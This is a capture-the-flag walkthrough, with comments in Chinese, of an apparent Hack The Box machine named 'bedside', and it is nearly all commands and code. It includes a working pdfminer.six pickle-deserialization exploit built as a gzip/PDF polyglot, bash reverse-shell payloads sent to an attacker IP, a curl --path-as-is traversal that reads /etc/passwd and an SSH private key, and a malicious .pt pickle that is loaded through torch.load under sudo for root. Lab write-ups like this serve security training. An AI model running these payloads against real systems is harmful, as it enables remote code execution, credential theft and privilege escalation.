nmap -sC -sV -oA bedside 10.129.x.x

# 结果
22/tcp   open  ssh     OpenSSH
80/tcp   open  http    Apache httpd

ffuf -u http://10.129.x.x -H \"Host: FUZZ.bedside.htb\" -w /usr/share/wordlists/dirb/common.txt -fs 10918

# 发现
research.bedside.htb    (200, 与主站不同)

# 添加 hosts
echo \"10.129.x.x research.bedside.htb\" >> /etc/hosts

# 访问 research 子站
curl -s http://research.bedside.htb/
# 发现文件上传功能

# 上传测试文件，抓取响应头
curl -sv -X POST http://research.bedside.htb/ \\
  -F \"[email protected]\" 2>&1 | grep -i \"powered\\|server\\|x-\"

# 关键发现
# X-Powered-By: pdfminer.six

# 漏洞代码 (pdfminer/cmapdb.py)
def _load_data(cls, name: str) -> Any:
    name = name.replace(\"\\0\", \"\")           # 不充分的过滤
    filename = \"%s.pickle.gz\" % name
    path = os.path.join(directory, filename) # 绝对路径时 directory 被忽略
    return type(str(name), (), pickle.loads(gzfile.read()))  # 不安全反序列化

import gzip, pickle

# pickle payload: 执行命令并返回 dict
cmd = \"curl http://10.10.x.x:8000/EXEC;bash -c 'bash -i >& /dev/tcp/10.10.x.x/4444 0>&1'\"
code = f\"__import__('subprocess').Popen({repr(cmd)},shell=True) or {{}}\"

class RCE:
    def __reduce__(self):
        return (eval, (code,))

payload = pickle.dumps(RCE())

# 构造 polyglot: gzip + PDF in FCOMMENT
base_gz = gzip.compress(payload)
gz = bytearray(base_gz)
gz[3] |= 0x10  # 设置 FCOMMENT flag

pdf = b\"\"\"%PDF-1.4
1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj
2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj
3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>endobj
xref
0 4
0000000000 65535 f
0000000009 00000 n
0000000052 00000 n
0000000101 00000 n
trailer<</Size 4/Root 1 0 R>>
startxref
149
%%EOF
\"\"\"
comment = b\"\
\" + pdf + b'\\x00'
new_gz = bytearray(gz[:10]) + comment + bytearray(gz[10:])

with open(\"payload.pickle.gz\", \"wb\") as f:
    f.write(new_gz)

# /Encoding 指向 payload.pickle.gz 的服务器路径
# 路径必须包含完整 vhost 名！
encoding_path = \"#2Fvar#2Fwww#2Fresearch.bedside.htb#2Fuploads#2Fpayload\"
# 解码后 = /var/www/research.bedside.htb/uploads/payload
# pdfminer 会找 /var/www/research.bedside.htb/uploads/payload.pickle.gz

pdf = f\"\"\"%PDF-1.4
1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj
2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj
3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]
  /Contents 4 0 R /Resources << /Font << /F1 5 0 R >> >> >> endobj
4 0 obj << /Length 44 >> stream
BT /F1 12 Tf 100 700 Td (X) Tj ET
endstream endobj
5 0 obj << /Type /Font /Subtype /Type0
  /BaseFont /MaliciousFont-Identity-H
  /Encoding /{encoding_path}
  /DescendantFonts [6 0 R] >> endobj
6 0 obj << /Type /Font /Subtype /CIDFontType2
  /BaseFont /MaliciousFont /CIDSystemInfo
  << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >>
  /FontDescriptor 7 0 R >> endobj
7 0 obj << /Type /FontDescriptor /FontName /MaliciousFont
  /Flags 4 /FontBBox [-1000 -1000 1000 1000]
  /ItalicAngle 0 /Ascent 1000 /Descent -200
  /CapHeight 800 /StemV 80 >> endobj
xref
0 8
0000000000 65535 f
0000000009 00000 n
0000000058 00000 n
0000000115 00000 n
0000000274 00000 n
0000000370 00000 n
0000000503 00000 n
0000000673 00000 n
trailer << /Size 8 /Root 1 0 R >>
startxref
871
%%EOF
\"\"\"

# 1. 上传 pickle payload
curl -s -X POST http://research.bedside.htb/ -F \"[email protected]\"

# 2. 上传 trigger PDF（pdfminer 30秒内自动处理）
curl -s -X POST http://research.bedside.htb/ -F \"[email protected]\"

# 3. 在 Kali 上监听
nc -lvnp 4444

# 等待约 30 秒，收到 shell
# datawrangler@data-wrangler:/app$

# 确认身份
id
# uid=988(datawrangler) gid=1001(dataops) groups=1001(dataops)

# 查看应用源码 — 发现关键路径
cat /app/pdf_watcher.py
# UPLOAD_DIR = \"/var/www/research.bedside.htb/uploads\"  ← 正确路径！

# 查看挂载点
cat /proc/mounts | grep -v proc | grep -v sys
# /dev/sda4 /datastore ext4 rw  ← 共享卷
# /dev/sda4 /var/www/research.bedside.htb/uploads ext4 rw  ← 共享卷

# 扫描 Docker 网关
for port in 80 3000; do
  curl -s -o /dev/null -w \"$port: %{http_code}\
\" http://172.17.0.1:$port/
done
# 80: 301  (Apache)
# 3000: 200 (esm.sh/x 开发服务器)

curl -s http://172.17.0.1:3000/ | head -5
# <title>Bedside Clinic - Image Viewer</title>
# Built with esm.sh/x

curl -sI http://172.17.0.1:3000/
# HTTP/1.1 200 OK
# Etag: w/\"...\"  ← Go 风格 Etag

# ❌ 普通 curl — 会规范化 ../，服务器收不到遍历请求
curl -s \"http://172.17.0.1:3000/../../../../etc/passwd\"
# Not Found

# ✅ 加 --path-as-is — 发送原始路径
curl -s --path-as-is \"http://172.17.0.1:3000/../../../../etc/passwd\"
# root:x:0:0:root:/root:/bin/bash
# ...
# developer:x:1000:1000:developer,,,:/home/developer:/bin/bash
# datawrangler:x:988:1001::/home/datawrangler:/bin/sh

curl -s --path-as-is \"http://172.17.0.1:3000/../../../../home/developer/.ssh/id_rsa\"
# -----BEGIN OPENSSH PRIVATE KEY-----
# [已脱敏]
# -----END OPENSSH PRIVATE KEY-----

# 读取 user flag
curl -s --path-as-is \"http://172.17.0.1:3000/../../../../home/developer/user.txt\"
# ████████████████████████████████  (已脱敏)

# 在 Kali 上
chmod 600 developer_key
ssh -i developer_key [email protected]

# 成功登录
# developer@bedside:~$

sudo -l
# (ALL) NOPASSWD: /usr/bin/python3 /opt/trainer/bedside_trainer.py

cat /opt/trainer/bedside_trainer.py

from monai.handlers import CheckpointLoader

# 查找最新的 .pt 文件
latest_ckpt = find_latest_checkpoint(CHECKPOINT_DIR)  # /datastore/checkpoints/*.pt

if latest_ckpt:
    loader = CheckpointLoader(
        load_path=str(latest_ckpt),
        load_dict={\"model\": model, \"optimizer\": optimizer},
        map_location=DEVICE
    )
    loader(engine)  # ← 这里触发 torch.load() → pickle.load()

datawrangler (容器)                    developer (宿主机)
     │                                      │
     ├─ 写 evil.pt → /datastore/checkpoints/│
     ├─ 写 test.png → /datastore/staging/   │
     ├─ 清理 .txt 文件                       │
     │                                      │
     │                                      ├─ sudo python3 trainer.py
     │                                      │   → 加载 test.png (成功)
     │                                      │   → 加载 evil.pt
     │                                      │   → pickle 反序列化
     │                                      │   → ROOT SHELL
     └────────────── 共享卷 ────────────────┘

# === 在 datawrangler 容器中执行 ===

# 1. 清理 staging 中的 .txt（pdf_watcher 生成的）
rm -f /datastore/staging/*.txt /datastore/processed/*.txt

# 2. 删除 uploads 中的 PDF（阻止 watcher 生成新 .txt）
rm -f /var/www/research.bedside.htb/uploads/*.pdf
rm -f /var/www/research.bedside.htb/uploads/*.pickle.gz

# 3. 创建有效 PNG 图片（trainer 需要能加载的图片）
python3 -c \"
import struct, zlib
w, h = 1, 1
raw = b'\\x00' + b'\\xff\\x00\\x00' * w
comp = zlib.compress(raw)
def ch(t, d):
    c = t + d
    return struct.pack('>I', len(d)) + c + struct.pack('>I', zlib.crc32(c) & 0xffffffff)
png = b'\\x89PNG\\r\
\\x1a\
'
png += ch(b'IHDR', struct.pack('>IIBBBBB', w, h, 8, 2, 0, 0, 0))
png += ch(b'IDAT', comp)
png += ch(b'IEND', b'')
with open('/datastore/staging/test.png', 'wb') as f:
    f.write(png)
\"

# 4. 创建恶意 .pt 文件（pickle RCE）
python3 -c \"
import pickle, os
class Evil:
    def __reduce__(self):
        return (os.system, ('bash -c \\\"bash -i >& /dev/tcp/10.10.x.x/4445 0>&1\\\"',))
with open('/datastore/checkpoints/evil.pt', 'wb') as f:
    pickle.dump(Evil(), f)
\"

# 5. 确认文件
ls -la /datastore/staging/    # 只有 test.png
ls -la /datastore/processed/  # 空
ls -la /datastore/checkpoints/ # 只有 evil.pt

# === 在 Kali 上监听 ===
nc -lvnp 4445

# === 在 developer SSH 中执行（30秒内，趁 watcher 没生成新 .txt）===
sudo /usr/bin/python3 /opt/trainer/bedside_trainer.py

# trainer 输出：
# Promoted 1 files from staging -> processed
# Using 1 samples for training.
# Auto-detected input features: 12288
# Found checkpoint /datastore/checkpoints/evil.pt, loading with CheckpointLoader...

# Kali 上收到 root shell！
# root@bedside:/home/developer#
id
# uid=0(root) gid=0(root) groups=0(root)

cat /root/root.txt
# ████████████████████████████████  (已脱敏)

┌─────────────────────────────────────────────────────────────────────────┐
│                           攻击链全景图                                   │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│  ┌──────────┐    ①上传pickle+PDF     ┌──────────────────────────────┐  │
│  │          │ ─────────────────────▶ │ research.bedside.htb (:80)   │  │
│  │  Kali    │                        │   ↓ pdf_watcher (30s)        │  │
│  │ 10.10.x.x│    ②收到反弹shell       │   ↓ pdfminer.six RCE         │  │
│  │          │ ◀───────────────────── │   ↓                           │  │
│  │  :4444   │                        │ Docker 容器 (data-wrangler)  │  │
│  │  :4445   │                        │   datawrangler@data-wrangler │  │
│  │  :8000   │                        └──────────┬───────────────────┘  │
│  └────┬─────┘                                   │                       │
│       │                                         │ ③路径遍历              │
│       │                                         ▼                       │
│       │    ④SSH登录              ┌──────────────────────────────┐      │
│       └─────────────────────────│ 172.17.0.1:3000 (esm.sh/x)   │      │
│                                 │ curl --path-as-is /../../../  │      │
│                                 │ → 读取 developer SSH 私钥     │      │
│                                 │ → 读取 user.txt               │      │
│                                 └──────────┬───────────────────┘      │
│                                            │                           │
│                                            │ ⑤SSH                     │
│                                            ▼                           │
│                                 ┌──────────────────────────────┐      │
│                                 │ developer@bedside (宿主机)    │      │
│                                 │                              │      │
│                                 │ sudo: python3 trainer.py     │      │
│                                 │                              │      │
│                                 │ ⑥容器写 evil.pt → checkpoints│      │
│                                 │   容器写 test.png → staging  │      │
│                                 │   developer sudo trainer.py  │      │
│                                 │   → CheckpointLoader         │      │
│                                 │   → torch.load()             │      │
│                                 │   → pickle.load()            │      │
│                                 │   → ROOT RCE                 │      │
│                                 │                              │      │
│                                 │ root@bedside                 │      │
│                                 │ cat /root/root.txt           │      │
│                                 │ ████████████████             │      │
│                                 └──────────────────────────────┘      │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘